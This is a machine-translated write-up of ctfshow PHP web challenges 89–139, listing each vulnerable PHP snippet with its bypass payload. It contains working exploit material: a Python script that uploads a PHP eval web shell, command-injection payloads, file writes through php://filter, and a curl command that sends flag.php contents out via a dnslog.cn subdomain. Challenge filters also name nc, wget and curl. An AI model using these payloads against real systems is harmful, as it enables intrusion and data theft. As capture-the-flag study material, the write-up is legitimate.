ctfshow php feature web89-web115 web123-150wp

Posted by Garcia on Thu, 03 Feb 2022 16:02:35 +0100

php features

Reference blogs are still Nanshen blog

web89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

Here is an intval function: get the integer value of the variable

Returns the int value of the variable value by using the specified base conversion (decimal by default). intval() cannot be used for object, otherwise e will be generated_ Note error and returns 1.

?num[]=1

web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

num != 4476, but num === 4476, you can use the intval function to int

?num=4476.0

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono

To satisfy the regular / ^ php$/im but not / ^ php$/i, you can take a look at this m

/i means match case

/m multiple line matching. If there is a newline \ n and there is a start ^ or end $character, it will be matched line by line with a newline separator. However, when the newline character%0a appears, the value of $cmd will be treated as two lines. At this time, the second if regular match does not match the rule that starts with php and ends with php

?cmd=%0Aphp

web92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

You can't use num=4476.0 because it uses weak comparison and won't compare floating-point and integer types. Here, you can use 16 to wrap around

?num=0x117c

web93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

Although hexadecimal can bypass the first layer, he filtered the letters in the second layer, so he thought of octal, which starts with 0 directly

?num=010574

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

We won't start with 0 here, but we can add a plus sign in front of it as a space

?num=+010574

web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

It's just a little filtered. What's none of my business

?num=+010574

web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

} 

Just u= flag. PHP

?u=./flag.php

Of course, you can also use php pseudo protocol

?u=php://filter/read=convert.base64-encode/resource=flag.php

web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?> 

a != b and md5(a) === md5(b)

Here md5 is a summary of Nanshen's blog https://www.wlhhlc.top/posts/16813/

Here, two arrays are passed directly, both of which return Null

a[]=1&b[]=2

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?> 

Followed by the trinocular operator

If there is a get parameter transfer, the post parameter transfer address is given to get, which can be simply understood as that post overrides get

If get parameter http_ If the value of flag is flag, the file is read, that is, the flag is output

GET: ?a=b
POST:HTTP_FLAG=flag

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?> 

First create an array, and then write a random number to the array through the for loop

The second is to judge whether n is passed in and whether n is in the array

Finally, use file_put_contents function writes data to

in_array(search,array,type)
If the given value search Exist in array array Return in true. If the third parameter is set to true,The function returns only if the element exists in the array and the data type is the same as the given value true. 

If no parameter is found in the array, the function returns false. 

Note: if search The parameter is a string, and type The parameter is set to true,The search is case sensitive.

If a weak comparison is performed without the third parameter, there will be forced type conversion, such as 123 PHP will be converted to 123

GET: ?u=123.php
POST:content=<?php @eval($_POST['mumuzi']);?>

Write a script

import requests
url = 'http://0272970f-dd04-4b71-bd9b-fd8b76ea6992.challenge.ctf.show/'
shell = '124.php'
data = {'content':"<?php @eval($_POST['mumuzi']);?>"}
url_shell = url+'?n='+shell
YoN = True
while YoN:
    getshell = requests.post(url=url_shell,data=data)
    shell_url=url+shell
    req = requests.get(url=shell_url)
    if(req.status_code == 200):
        print('[+]write in shell success')
        data2 = {'mumuzi':'system("tac flag36d.php");'} #First ls
        req2 = requests.post(url=shell_url,data=data2)
        print(req2.text)
        YoN = False
    else:
        print('[!]write in shell fail')

web100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}


?>

is_numeric is used to detect whether a variable is a number or a numeric string

The eval function is followed, which indicates the need for command execution. v3 needs a semicolon, and v2 cannot have a semicolon

In this case, v0 = $v1 and FALSE and FALSE

But php's operations have priority

&& > = > and

For example, $a = true and false;, Since the equal sign is greater than and, the value here is $a = True

?v1=1&v2=system("ls")&v3=;

ctfshow.php flag36d.php index.php

?v1=1&v2=system("tac%20ctfshow.php")&v3=;
$flag_is_8964b4200x2d4cbc0x2d41cc0x2dbe940x2dffad6a15d11e
0x2d Turn into-
8964b420-4cbc-41cc-be94-ffad6a15d11e

A hundred. That's nice

web101

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?> 

The underworld filters the family. I'll take you to fight

But there are other knowledge points, which can be found according to the hint provided by the group leader

Reflection class ReflectionClass Execute command

ReflectionClass Reflection class in PHP5 New, inherited from Reflector,It can establish mapping relationship with defined classes, and can operate on classes through reflection classes
 Reflection classes can not only establish mappings to classes, but also to classes PHP The mapping of the basic method and returns the execution of the basic method. Therefore, you can create a reflection class new ReflectionClass(system('cmd'))To execute the command
?v1=1&v2=echo new ReflectionClass&v3=;

The obtained flag is still 0x2d - but the flag is missing one bit, so the last one needs to be blasted

European gas testing

NMD was tried 14 times

web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?>
is_numeric() Used to detect whether it is a number or a number string. If the specified variable is a number and a number string, it returns true,Otherwise return false. If the string contains a e Represents scientific counting method, and can also be returned true. 
substr($v2,2) Is equivalent to returning v2[2:]
call_user_func() Functions are used to call methods or variables. The first parameter is the called function, and the second parameter is the parameter of the called function
file_put_contents($v3,$str)Will be $str Write and save as $v3(The first parameter is the file name and the second parameter is the content)

Here, both v2 and v3 are numbers. substr takes v2[2:], which can start with 00, and then v1(v2[2:]). web100 said that the equal sign has higher priority than and, so v4 can be guaranteed to be true if v2 is a number

v2 should ensure that it can write a shell and be numeric.

First v2 is the shell, first the whole '<=` tac *`;' Then find a way to deal with it. If it is hex directly

With letters, I don't think so. After base64

3d is an equal sign. The decoding is not very strict. Wow, Golden Legend

v2 = 504438395948526859794171594473

v1 needs to hex decode it and use hex2bin (hexadecimal to ascii character, not binary)

v3 needs to decode it with base64, and the protocol stream that can be controlled can be decoded and written to the file with base64

Final payload: (remember to add 00 before v2)

GET:v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=mumuzi.php

POST:v1=hex2bin

web103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

v2 can't have skin. I like to eat skin. I didn't fart just now. I like to eat fart (eat melon)

GET:v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=mumuzi.php

POST:v1=hex2bin

web104

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

?>

It's around Kill 1!!

Pass two arrays as before md5

GET:?v2[]=1

POST:v1[]=2

web105

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='What else do you want flag Huh?';
$suces='Since you want it, give it to you!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

(then you should give me the flag directly)

Note that here $$key=$$value, $($key)=$($value), here $key=error, so a $error can be passed here (the variable overrides yes)

Here is die($error); And die($suces); Can output flag, so there are two ways to use it

payload1: execute die($suces)

In fact, you can see here that $flag is not equal to flag, so you can print the error information. Here, find a way to overwrite error with flag, so that you can print the error flag

First, overwrite get, and then overwrite suces. Because suces is used to output, and then there can be no flag in the value of post, so get a suces=flag first

Then you need to wrap around $flag. Because $suces has got the value of flag at this time, you can directly change $flag to something else here

?suces=flag&flag=1

payload2:

With the above idea, you can get a suces=flag and then post an error=suces

GET:suces=flag

POST:error=suces

It's nice not to say

web106

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

?>

V1 is added here on the basis of the previous one= V2, but just assign different values

GET:?v2[]=1

POST:v1[]=2

web107

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

This involves the parse function of the letter_ str()

parse_str(string,array):Parse the query string into variables
    as parse_str("dota_st=yyds");
	echo $dota_st."<br>";    #Southern God yyds

therefore

GET:?v3=flag

POST:v1=flag=327a6c4304ad5938eaf0efb6cc3e53dc
post The value of is v1=flag=md5($v3),Understand cutting

web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//Only 36d people can see the flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?> 
    ereg() The function searches for the string specified by the pattern as the string specified by the pattern, and returns if the pattern is found true,Otherwise return false. Search is case sensitive for alphabetic characters,Here is c The value of must be[a-zA-Z].Can use%00 Cut off!

    strrev() Function inverts the string.

    intval() Function to get the integer value of a variable

It says ereg can be truncated with% 00, so it's nothing

?c=MMZ%00778

***web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}
?> 

Is the order executed

v1 and v2 must have letters (not only letters)

I don't understand. Anyway, use the php built-in class to prevent v1 from reporting errors, and v2 executes the command

?v1=mysqli&v2=system('tac fl36dg.txt')

***web110

The group leader changed his description to say that he called the police (funny)

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");
}
?> 

If you continue to use the previous payload here, you will find that the regular matching in v2 cannot be bypassed because you don't know what the file name is, but the system(ls) cannot execute

Nanshen write: you can use filesystemitrator and file system iterator to create a new filesystemitrator and use getcwd() to display the file structure in the current directory

?v1=FilesystemIterator&v2=getcwd

Echo fl36dga txt

Then visit URL / fl36dga Txt

web111

Variable coverage

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }

} 

var_ The dump() function is used to output information about variables

You can see that v1 and v2 are still regularly filtered here, and then if $v1 has ctfshow, it will enter the getFlag function

Then $ctfshow = $$v2 is executed

The global variable GLOBALS is used here

$GLOBALS - references all variables available in the global scope, a global combined array containing all variables. The name of the variable is the key of the array.

?v1=ctfshowweb&v2=GLOBALS

web112

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 

Here comes the new function, is_ The file() function checks whether the specified file name is a normal file

Here, filter is a function defined to check whether the $file parameter contains regular items

?file=php://filter/resource=flag.php

web113

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

Try zip, bzip and zlib

?file=compress.zlib://flag.php

web114

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "The masters actually tql All unexpected hum!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

Ah, didn't you expect compress

But there is no filter

?file=php://filter/resource=flag.php

***web115

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

trim is a function that removes white space characters or other predefined characters on both sides of a string

num should be a number or numeric string, but it cannot be equal to 36. After taking out the blank character, it cannot be 36. After entering the filter, it must be 36

... hexadecimal and octal are restricted

php run a script to see what can bypass trim

<?php
for ($i = 0; $i <= 128; $i++) {
    $a = chr($i) . '36';
    if (trim($a) !== '36' && is_numeric($a)) {
        echo urlencode(chr($i)) . "\n";
    }
}

It is found that% 0c can be used to bypass the trim function

?num=%0c36

It's hard

web123

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?> 

Liar, after setting a $fl0g = = = "flag_give_me", I found that there was an exclamation mark in front of it. This is not allowed

You can know that the flag is in $flag, and fun can be $flag for echo

Then post CTF_ SHOW=&CTF_ SHOW. COM=&c=echo $flag

But there is no echo. It is found after query that there is a point in the variable

In php, the variable name has only alphanumeric underscores. If the variable name passed in by get or post contains spaces, +, [it will be converted to so we can't construct the variable CTF_SHOW.COM (because it contains.), But there is a feature in php that if you pass in [, after it is converted to _, the following characters will be retained and will not be replaced

It is highly recommended to read the explanation here. In fact, it appears [php will look for it later]. If it is found, it is an array. If it is not found, it will be parsed into_
[PHP kernel] PHP kernel learning (IV) -- answer the string parsing feature bypass of PHP ([, spaces are parsed as, [[only the first [is parsed as)

CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

web125

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

The payload was not used before, because echo and flag were disabled. Here, use the command to execute the knowledge points there

GET:?mumuzi=flag.php

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[mumuzi])

***web126

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
} 

Oh, it's directly filtered. g i f c o d is really yours. There's I in highlight. It's useless

I did web127 first and then 126, so the test center went to see 127

Note that it will be transformed into an array, so we need to take the array here. Note that the eval function is added with a semicolon at the end

GET:?$fl0g=flag_give_me;

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])

Of course, you can use other ones

web127

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//Special character detection
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("Huh?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

The extract() function imports variables from the array into the current symbol table, using the array key name as the variable name and the array key value as the variable value

$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
query string yes Uniform Resource Locator (URL)Part of, It contains the information that needs to be passed to web application Data
    
<?php
$a=$_SERVER['argv'];
var_dump($a);

For example? If a=2, it will become $a=2

Oh, then the title ends with $ctf_show = ilove36d

When CTF is passed in_ When show = ilove36d, it will become $ctf_show=ilove36d, meeting the requirements

As I said before, spaces + [will be replaced with underscores. Here, we filter + and[

?ctf show=ilove36d

web128

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "Huh?";
}

function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

f1 cannot have numbers or letters, and then call_user_func was mentioned in 102, call_user_func() function is used to call methods or variables. The first parameter is the called function and the second parameter is the parameter of the called function.

f1 can use gettext to expand, using Southern God's

<?php
echo gettext("dotastnb");
//Output result: dotastnb

echo _("ctfshownb");
//Output result: ctfshownb

Therefore, f1 can be, call_user_func('', 'dotastnb') can output dotastnb, but there is also a call set outside_ user_ Func what can I do

You can use get_defined_vars function, although I don't know what it means, use it first

get_ defined_ Vars (void): the array function returns a multidimensional array containing a list of all defined variables, including environment variables, server variables and user-defined variables.

?f1=_&f2=get_defined_vars

The internal operations are:

var_dump(call_user_func(call_user_func($f1,$f2)));
var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
var_dump(call_user_func(get_defined_vars));//Output array

web129

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}
stripos() — Finds the first occurrence of a string (case insensitive)

This means that if the location of ctfshow is greater than 0, the file will be read

<?php
echo stripos("You love php, I love php too!","PHP");
?>
    #output:9
?f=/ctfshow/../../../../../../../var/www/html/flag.php
 Then look at the source code

web130

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
} 

f cannot be xxxctfshow (there's something ahead anyway)

Then FALSE, because it is a strong comparison, ctfshow is 0 even at the beginning, not FALSE. If it is a weak comparison, it will enter die('bye!! ');

So here payload is

POST:f=ctfshow

In fact, the test site here is the largest backtracking of regularity, Nanshen:

In order to prevent regular expression denial of service attack (reDOS), PHP sets an upper limit of backtracking times for pcre backtrack_ limit
The upper limit of backtracking times is 1 million by default. If the number of backtracking times exceeds 1 million, preg_match will no longer return non-1 and 0, but false

import requests
url = " "
data = {
    'f': 'dotast'*170000+'ctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)

web131

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

} 

This time, there are other things ahead, so use the script

import requests
url = "http://8b6b53a0-d082-4c0b-a21d-6d4ec4199440.challenge.ctf.show/"
data = {
    'f': 'mumuzi'*170000+'36Dctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)

web132

Open is a website, robots Txt has a / admin. After accessing

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
} 

php operator priority | priority is lower than&&

So here, one of password=$flag and username=admin can be satisfied, and then the code should be admin

?username=admin&password=&code=admin

web133

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6 Not even one letter is enough?!");
    }
}

Can you execute the 6-character command? Try to bypass ing. However, go to Firebasky's blog here https://blog.csdn.net/qq_46091464/article/details/109095382 (find the blogger). The original words are as follows:

We pass?F=`$F`;+sleep 3 It seems that the website does sleep After a while, it showed that the command was indeed executed
**Then why?**
Because we passed it on`$F`;+sleep 3. First substr()Function truncation and execution eval()function
 This function is used to execute php code,``yes shell_exec()Function, and then go to the command execution.
and $F That's what we entered`$F`;+sleep 3 The code to use the last execution should be
``$F`;+sleep 3`,The execution is successful
 It may be a little windy here. Take your time to understand

However, the command can be executed here without echo. You can find a method to take out, which is used here http://www.dnslog.cn/

?F=`$F`; curl `cat flag.php|grep "flag"`.di5nz0.dnslog.cn

Just add parentheses

ctfshow{cdf42e3b-da64-45f9-9400-e0f43a6db0bf}

web134

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}
parse_str():Parse the query string into variables
extract():Function imports a variable from an array into the current symbol table
$_SERVER['QUERY_STRING']: web127

Variable coverage. After all, key1 and key2 are the last questions here, and then POST and GET can be used here

parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);
It will be output as an array first, and then extract It becomes a normal transmission parameter
    ?_POST[a]=dotast
    Will output array(1) { ["a"]=> string(6) "dotast" },Reuse extract Function, it becomes $a=dotast

paylaod:

GET:?_POST[key1]=36d&_POST[key2]=36d
flag In source code

web135

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("The masters have cracked the previous one. Let's have an enhanced version");
    }
}

web133 plus

It's master Firebasky's problem, huh

The payload given here uses cp to set the flag PHP to 1 Web133 doesn't work, but web133 doesn't

?F=`$F `;cp flag.php 1.txt

Then visit 1 txt

web136

 <?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?> 

Master Yu came out this time. It seems to be a command execution and then bypass. For exec, it is to execute an external program, echo the last line, and use echo output.

There is no echo here, so there is no echo, so I want to output it to a text with a pipe character

But the > symbol is filtered here. What should I do

According to the query, it is found that tee instruction can be used

tee a.txt b.txt,take a.txt Copy to b.txt
ls | tee b.txt,take ls Write the execution result of the command b.txt
?c=ls /|tee ls

Write the result of ls to "ls"

alike

?c=tac /f149_15_h3r3|tee flag

Access / flag

web137

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

call_user_func($_POST['ctfshow']); 

Here we begin to contact the class. Here we can call getFlag class directly

POST:ctfshow=ctfshow::getFlag

Then check the source code

web138

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']); 

Ouch, the strripos() function finds the last occurrence of xxx in the string. If it is greater than - 1, exit the function, which means that colons are not allowed

Call here_ user_ Func function

You can use arrays

So payload

POST:ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

 <?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?> 

web136 plus?

By trying the previous operation, it is found that the page is still on the current page when visiting again, so it is speculated that the file cannot be written

This involves shell programming and blind injection. In fact, it is equivalent to blind annotation of file name and file content

You can use commands such as awk to intercept strings, and cut can split characters
if statement and sleep() function of shell programming can be used to judge the execution result of the command

Let's experiment here. First, write a flag in the current directory php

